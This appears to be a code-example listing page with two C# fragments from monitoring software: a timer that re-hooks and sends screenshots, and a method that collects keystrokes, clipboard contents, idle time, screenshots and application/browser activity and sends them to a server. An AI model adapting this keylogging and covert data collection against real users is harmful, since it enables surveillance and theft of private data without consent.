コード例 #1
0
 private static void TimerScreenshot_Interval(Object o)
 {
     try
     {
         rehook();
         if (!(Program.IsBlocked == true && Program.IsSendBlockData == false))
         {
             //4.)Send Screenshot
             ScreenShot.fncScreenShot();
         }
         GC.Collect();
     }
     catch (Exception)
     {
         GlobalClass.WriteTolog("Error in TimerScreenshot_Interval");
     }
 }
コード例 #2
0
        public void SendToServer()
        {
            if (GlobalClass.CheckForInternetConnection())
            {
                //1.) save Keybord test here
                GlobalClass.addKeyLoggerInfo(GlobalClass.KeyBordText, "KL");

                //2.) save Clipbord test here
                GlobalClass.FncClipboard();

                //3.) save Idle time here
                GlobalClass.WriteMachineIdleTime(GlobalClass.lastIdleMinute);

                //4.)Send Screenshot
                ScreenShot.fncScreenShot();

                //5.) Send Application and BrowerDetails
                AppTracker.fncAppTracker();

                //6.) Send All Local Session Data
                // GlobalClass.UploadLocalSessionData();
            }
        }